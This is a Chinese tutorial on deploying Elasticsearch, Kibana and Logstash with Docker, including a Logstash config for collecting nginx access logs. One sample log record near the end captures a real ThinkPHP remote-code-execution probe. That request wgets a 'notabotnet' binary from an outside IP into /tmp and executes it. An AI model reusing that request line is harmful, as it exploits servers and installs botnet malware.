docker 快速部署elk
docker部署ELK
环境 centos7
1 配置阿里云加速器
- 登录阿里云控制台
- 进入容器服务
- 进入镜像加速器,按照说明操作
2 pull image
- 获取ES镜像:docker pull elasticsearch:latest
- 获取kibana镜像:docker pull kibana:latest
- 获取logstash镜像:docker pull logstash:latest
3 启动Elasticsearch
-
官方镜像里面ES的配置文件保存在/usr/share/elasticsearch/config
-
数据文件目录/usr/share/elasticsearch/data
如果需要可以在启动容器的时候的时候使用 -v参数挂载到宿主机
示例不进行挂载
docker run --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -d elasticsearch
-
启动后在浏览器访问ip:9200,返回如下则证明启动正常
{ "name" : "VDw5UKv", "cluster_name" : "elasticsearch", "cluster_uuid" : "DNTJCXjpSNOrS6rBSJtYXw", "version" : { "number" : "5.6.12", "build_hash" : "cfe3d9f", "build_date" : "2018-09-10T20:12:43.732Z", "build_snapshot" : false, "lucene_version" : "6.6.1" }, "tagline" : "You Know, for Search" }
备注:es默认jvm使用内存是2G,若机器内存不足,可以修改配置文件
find /var/lib/docker/ -name jvm.options /var/lib/docker/overlay2/d32d0371ed2cb37d660bd8acf0f2407735c4a1c1a09f017e053068b29ddd40d4/diff/etc/elasticsearch/jvm.options vim /var/lib/docker/overlay2/d32d0371ed2cb37d660bd8acf0f2407735c4a1c1a09f017e053068b29ddd40d4/diff/etc/elasticsearch/jvm.options 修改 -Xms2g -Xmx2g 为 -Xms1g -Xmx1g
**问题排查:若索引为yello
GET http://127.0.0.1:9200/_cluster/health GET http://127:9200/{index}/_settings 若"number_of_replicas": "1", 则将其改为0 PUT http://127.0.0.1:9200/{indexName}/_settings { "number_of_replicas": 0 }
3 启动kibana
Kibana作为ES操作的UI,需要跟ES容器通信,所以这里要将ES的容器link一下,对外提供5601端口做页面交互。
docker run --name kibana --link elasticsearch:elasticsearch -p 5601:5601 -d kibana
查看启动日志:docker logs kibana -f
若启动日志中报Unable to revive connection: http://elasticsearch:9200/
则进行如下操作:
docker exec -it kibana sh
vi config/kibana.yaml
将elasticsearch.hosts: [ "http://elasticsearch:9200" ] 改为 elasticsearch.hosts: [ "http://yourip:9200" ]
docker restart kibana
容器启动后用浏览器访问5601端口,可以看到kibana页面.
但是现在es中没有索引,所以没有数据
4 启动logstash
Logstash主要作用是收集日志,这个组件有很多插件,可以支持大部分日志集成方式,如tcp、udp、jdbc、文件、队列等,他的配置非常简单,启动方式也很简单,这里以nginx的访问日志为例,我们配置logstash读取nginx的access.log,然后把日志转发到Elasticsearch。
启动logstash前需要配置logstash,采集日志、输出组件ip等信息
参考其他博客教程,配置文件在容器路径为/usr/share/logstash/config,但是经自测发现并无此config,所以从https://artifacts.elastic.co/downloads/logstash/logstash-7.0.0.tar.gz下载logstash安装包,并解压后获得config目录下所有文件
-
复制config文件夹到/root/logstash/config
-
创建采集日志的config
假设采集nginx的日志文件
nginx的日志文件默认在/var/log/nginx/access.log
创建/root/logstash/config/nginx.conf
## nginx.conf input { file { # 指定一个文件作为输入源 path => "/var/log/nginx/access.log" # 指定文件的路径 start_position => "beginning" # 指定何时开始收集 type => "nginx" # 定义日志类型,可自定义 } } filter { # 配置过滤器 grok { match => { "message" => "%{IPORHOST:http_host} %{IPORHOST:clientip} - %{USERNAME:remote_user} \[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http_verb} %{NOTSPACE:http_request}(?: HTTP/%{NUMBER:http_version})?|%{DATA:raw_http_request})\" %{NUMBER:response} (?:%{NUMBER:bytes_read}|-) %{QS:referrer} %{QS:agent} %{QS:xforwardedfor} %{NUMBER:request_time:float}"} # 定义日志的输出格式 } geoip { source => "clientip" } } output { stdout { codec => rubydebug } elasticsearch { hosts => ["ip:9200"] index => "logstash-nginx-%{+YYYY.MM.dd}" 指定索引,在kibana中需要根据此索引进行查询 } }
-
启动logstash
因为采集的日志是/var/log/nginx/access.log,所以需要将此路径映射到容器
配置文件的路径也要映射到容器, /root/logstash/config/ --> /usr/share/logstash/config/
docker run -itd --name=logstash -v /var/log/nginx/access.log:/var/log/nginx/access.log -v /root/logstash/config/:/usr/share/logstash/config docker.io/logstash -f /usr/share/logstash/config/nginx.conf
-f 指定配置文件
若是要采集多个文件,可以创建多个.conf,将所有conf放到同一目录,-f 指定这个目录即可
启动后,调用几次nginx,会有如下日志输出,证明采集成功
{ "path" => "/var/log/nginx/access.log", "@timestamp" => 2021-10-23T08:18:26.907Z, "@version" => "1", "host" => "a1488190ee70", "message" => "89.248.164.165 - - [23/Oct/2021:16:18:26 +0800] \"GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1\" 404 3650 \"-\" \"Mozilla\" \"-\"", "type" => "nginx", "tags" => [ [0] "_grokparsefailure", [1] "_geoip_lookup_failure" ] } { "path" => "/var/log/nginx/access.log", "@timestamp" => 2021-10-23T08:27:34.089Z, "@version" => "1", "host" => "a1488190ee70", "message" => "177.149.164.24 - - [23/Oct/2021:16:27:33 +0800] \"GET /index.php?s=/index/\\x09hink\\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://45.14.226.120/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777 /tmp/.notabotnet; /tmp/.notabotnet ThinkphpRep' HTTP/1.1\" 400 157 \"-\" \"Tsunami/2.0\" \"-\"", "type" => "nginx", "tags" => [ [0] "_grokparsefailure", [1] "_geoip_lookup_failure" ] }
5 验证
登录kibana,点击management
-
创建索引,填写的索引是会在后台校验的,若无此索引则不能创建,在logstash中nginx.conf中配置的index即等同于这个索引。
示例中配置index是logstash-nginx-%{+YYYY.MM.dd},此处创建索引logstash-*即可匹配所有logstash-开头的索引。
-
创建索引成功后,点击discover即可查看到日志